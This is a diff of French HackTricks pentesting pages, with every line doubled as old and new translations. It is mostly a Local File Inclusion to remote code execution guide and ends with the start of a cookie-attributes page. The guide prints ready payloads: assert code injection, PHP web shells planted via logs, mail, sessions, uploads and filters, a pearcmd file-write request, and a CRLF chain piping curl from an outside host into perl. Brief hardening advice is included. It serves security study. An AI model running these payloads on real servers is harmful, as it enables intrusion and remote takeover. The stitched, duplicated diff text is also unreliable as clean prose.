Les risques d'Inclusion de Fichiers Locaux (LFI) en PHP sont particulièrement élevés lorsqu'il s'agit de la fonction 'assert', qui peut exécuter du code dans des chaînes. Cela est particulièrement problématique si l'entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
|
||||
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des strings. Cela devient particulièrement problématique si une entrée contenant des caractères de traversal comme ".." est vérifiée mais pas correctement assainie.
|
||||
|
||||
Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire comme suit :
|
||||
Par exemple, le code PHP pourrait être conçu pour prévenir le directory traversal de la manière suivante :
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter cela afin de lire le contenu des fichiers, un attaquant pourrait utiliser :
|
||||
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :
|
||||
De même, pour exécuter des commandes système arbitraires, on peut utiliser :
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Il est important de **coder ces payloads en URL**.
|
||||
Il est important de **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
|
||||
> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin de fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) et que le contenu n'est pas affiché.
|
||||
|
||||
Dans [**ce post incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un parcours de chemin aveugle peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
Dans [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment a blind path traversal peut être abusé via PHP filter pour **exfiltrer le contenu d'un fichier via un error oracle**.
|
||||
|
||||
En résumé, la technique utilise l'**encodage "UCS-4LE"** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **gros** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
|
||||
Ensuite, afin de divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
|
||||
Ensuite, afin de leak le premier caractère, le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et finalement les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au beggining et les leak**.
|
||||
|
||||
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (uniquement cible en lecture seule avec cela)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Pour les détails techniques, consultez le post mentionné !
|
||||
Pour les détails techniques, consultez l'article mentionné !
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Écriture de fichiers arbitraires via Path Traversal (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Lorsque le code côté serveur qui ingère/télécharge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par exemple, un nom de fichier ou une URL) sans le normaliser et le valider, les segments `..` et les chemins absolus peuvent échapper au répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload sous un répertoire exposé au web, vous obtenez généralement un RCE non authentifié en déposant un webshell.
|
||||
Quand du code côté serveur qui ingère/charge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex. un filename ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload sous un répertoire accessible depuis le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
|
||||
|
||||
Flux d'exploitation typique :
|
||||
- Identifier une primitive d'écriture dans un point de terminaison ou un travailleur en arrière-plan qui accepte un chemin/nom de fichier et écrit du contenu sur le disque (par exemple, ingestion pilotée par message, gestionnaires de commandes XML/JSON, extracteurs ZIP, etc.).
|
||||
- Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex. ingestion pilotée par message, handlers de commandes XML/JSON, extracteurs ZIP, etc.).
|
||||
- Déterminer les répertoires exposés au web. Exemples courants :
|
||||
- Apache/PHP : `/var/www/html/`
|
||||
- Tomcat/Jetty : `<tomcat>/webapps/ROOT/` → déposer `shell.jsp`
|
||||
- IIS : `C:\inetpub\wwwroot\` → déposer `shell.aspx`
|
||||
- Créer un chemin de traversée qui sort du répertoire de stockage prévu dans le répertoire web, et inclure le contenu de votre webshell.
|
||||
- Naviguer vers le payload déposé et exécuter des commandes.
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Construire un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
|
||||
- Parcourir le payload déposé et exécuter des commandes.
|
||||
|
||||
Remarques :
|
||||
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par exemple, un écouteur XML JMF sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
|
||||
- Sur les stacks Java, ces écritures de fichiers sont souvent mises en œuvre avec une simple concaténation `File`/`Paths`. Le manque de normalisation/de liste blanche est le défaut principal.
|
||||
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex. un écouteur JMF XML sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
|
||||
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille principale.
|
||||
|
||||
Exemple générique de style XML/JMF (les schémas de produits varient – le wrapper DOCTYPE/body est sans importance pour la traversée) :
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Renforcement qui défait cette classe de bugs :
|
||||
- Résoudre vers un chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base autorisé.
|
||||
- Rejeter tout chemin contenant `..`, racines absolues ou lettres de lecteur ; préférer les noms de fichiers générés.
|
||||
- Exécuter l'écrivain en tant que compte à faible privilège et séparer les répertoires d'écriture des racines servies.
|
||||
Durcissement qui empêche cette classe de bugs :
|
||||
- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base sur liste blanche.
|
||||
- Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
|
||||
- Exécuter le writer avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
|
||||
|
||||
## Inclusion de Fichiers à Distance
|
||||
## Remote File Inclusion
|
||||
|
||||
Expliqué précédemment, [**suivez ce lien**](#remote-file-inclusion).
|
||||
Expliqué précédemment, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via le fichier journal Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, en définissant dans le **user agent** ou dans un **paramètre GET** un shell php comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier.
|
||||
Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **GET parameter** un php shell comme **`<?php system($_GET['c']); ?>`** et d'inclure ce fichier
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP générera une erreur** là et **rien d'autre ne sera exécuté**.
|
||||
> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés en la chaîne "_**quote;**_", **PHP lèvera une erreur** là et **rien d'autre ne sera exécuté**.
|
||||
>
|
||||
> De plus, assurez-vous de **bien écrire la charge utile** sinon PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas une seconde opportunité.
|
||||
> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.
|
||||
|
||||
Cela pourrait également être fait dans d'autres journaux mais **soyez prudent,** le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. Le PHPShell pourrait être inséré dans cet en-tête.\
|
||||
Autres chemins de journaux possibles :
|
||||
Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être URL-encodé et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
|
||||
Autres chemins de log possibles:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -496,46 +497,46 @@ Autres chemins de journaux possibles :
|
||||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
### Par e-mail
|
||||
|
||||
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
**Envoyer un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
### Via /proc/*/fd/*
|
||||
|
||||
1. Téléchargez beaucoup de shells (par exemple : 100)
|
||||
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé par brute force) et $FD le descripteur de fichier (peut aussi être forcé par brute force)
|
||||
1. Upload beaucoup de shells (par exemple : 100)
|
||||
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être récupéré par brute force) et $FD le descripteur de fichier (peut être récupéré par brute force aussi)
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
Comme un fichier journal, envoyez la charge utile dans le User-Agent, elle sera reflétée dans le fichier /proc/self/environ
|
||||
Comme pour un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Si vous pouvez télécharger un fichier, il suffit d'injecter le payload de shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
||||
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Pour garder le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
|
||||
Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
|
||||
|
||||
### Via téléchargement de fichier Zip
|
||||
### Via téléversement d'un fichier ZIP
|
||||
|
||||
Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez à :
|
||||
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
|
||||
Vérifiez si le site utilise PHP Session (PHPSESSID)
|
||||
Vérifiez si le site web utilise PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
Dans PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
Dans PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -544,32 +545,32 @@ Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Utilisez le LFI pour inclure le fichier de session PHP.
|
||||
Utilisez la LFI pour inclure le fichier de session PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
|
||||
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**
|
||||
Si ssh est actif, vérifiez quel utilisateur est en cours d'utilisation (/proc/self/status & /etc/passwd) et tentez d'accéder à **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
Les journaux pour le serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
|
||||
Les logs du serveur FTP vsftpd se trouvent dans _**/var/log/vsftpd.log**_. Dans le cas où une vulnérabilité Local File Inclusion (LFI) est présente et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
|
||||
|
||||
1. Injectez une charge utile PHP dans le champ nom d'utilisateur lors du processus de connexion.
|
||||
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur à partir de _**/var/log/vsftpd.log**_.
|
||||
1. Injectez un payload PHP dans le champ du nom d'utilisateur lors de la connexion.
|
||||
2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Comme indiqué dans [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre PHP base64 ignore simplement les Non-base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :
|
||||
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification d'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et appendra "php" au base64. Voici un exemple de payload :
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Via php filters (aucun fichier nécessaire)
|
||||
|
||||
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **php filters pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** it into a file.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -578,7 +579,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Téléchargez** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** déclenchez un **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
|
||||
**Téléversez** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête**, provoquez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -587,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** fonctionne devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :
|
||||
Si vous trouvez une **Local File Inclusion** et que **Nginx** fonctionne devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -596,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir RCE :
|
||||
Si vous trouvez une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir une RCE :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -605,7 +606,7 @@ via-php_session_upload_progress.md
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir RCE :
|
||||
Si vous trouvez une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -614,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Comme [**expliqué dans ce post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), le script `/usr/local/lib/phppearcmd.php` existe par défaut dans les images docker php. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de `=`, il doit être utilisé comme argument.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de `=`, il doit être utilisé comme argument. Voir aussi [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) et [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `<?=phpinfo()?>` :
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
L'abus suivant d'une vulnérabilité CRLF permet d'obtenir un RCE (depuis [**ici**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -629,7 +630,8 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE :
|
||||
Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on vous pouvez obtenir RCE :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -637,7 +639,8 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS le **serveur** **vérifie** si le **fichier à inclure a des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
|
||||
Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **server** **vérifie** si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -645,27 +648,31 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire **pendre** l'exécution PHP du serveur, vous pourriez alors **brute forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
|
||||
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### To Fatal Error
|
||||
### Vers une erreur fatale
|
||||
|
||||
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).
|
||||
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour déclencher cette erreur).
|
||||
|
||||
**Je ne sais pas à quel point cela est utile, mais cela pourrait l'être.**\
|
||||
_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP téléchargés sont supprimés._
|
||||
**Je ne sais pas à quoi cela sert mais ça pourrait l'être.**\
|
||||
_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP uploadés sont supprimés._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -2,37 +2,37 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookie Attributes
|
||||
## Attributs des cookies
|
||||
|
||||
Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs dans un style plus passif :
|
||||
Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs présenté de manière plus passive :
|
||||
|
||||
### Expires et Max-Age
|
||||
### Expires and Max-Age
|
||||
|
||||
La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. À l'inverse, l'attribut `Max-age` définit le temps en secondes avant qu'un cookie ne soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
|
||||
La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. À l'inverse, l'attribut `Max-age` définit le temps en secondes avant la suppression d'un cookie. **Privilégier `Max-age` car il reflète des pratiques plus modernes.**
|
||||
|
||||
### Domain
|
||||
|
||||
Les hôtes qui reçoivent un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` une option moins restrictive, utile dans les scénarios où le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir `Domain=mozilla.org` rend les cookies accessibles sur ses sous-domaines comme `developer.mozilla.org`.
|
||||
Les hôtes destinataires d'un cookie sont spécifiés par l'attribut `Domain`. Par défaut, il est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` moins restrictive, utile lorsque le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir `Domain=mozilla.org` rend les cookies accessibles sur ses sous-domaines comme `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Un chemin d'URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé est indiqué par l'attribut `Path`. Cet attribut considère le caractère `/` comme un séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
|
||||
L'attribut `Path` indique un chemin URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé. Cet attribut considère le caractère `/` comme séparateur de répertoires, permettant des correspondances dans les sous-répertoires également.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé sur :
|
||||
Quand deux cookies portent le même nom, celui choisi pour l'envoi est déterminé par :
|
||||
|
||||
- Le cookie correspondant au chemin le plus long dans l'URL demandée.
|
||||
- Le cookie le plus récemment défini si les chemins sont identiques.
|
||||
|
||||
### SameSite
|
||||
|
||||
- L'attribut `SameSite` dicte si les cookies sont envoyés lors de requêtes provenant de domaines tiers. Il offre trois paramètres :
|
||||
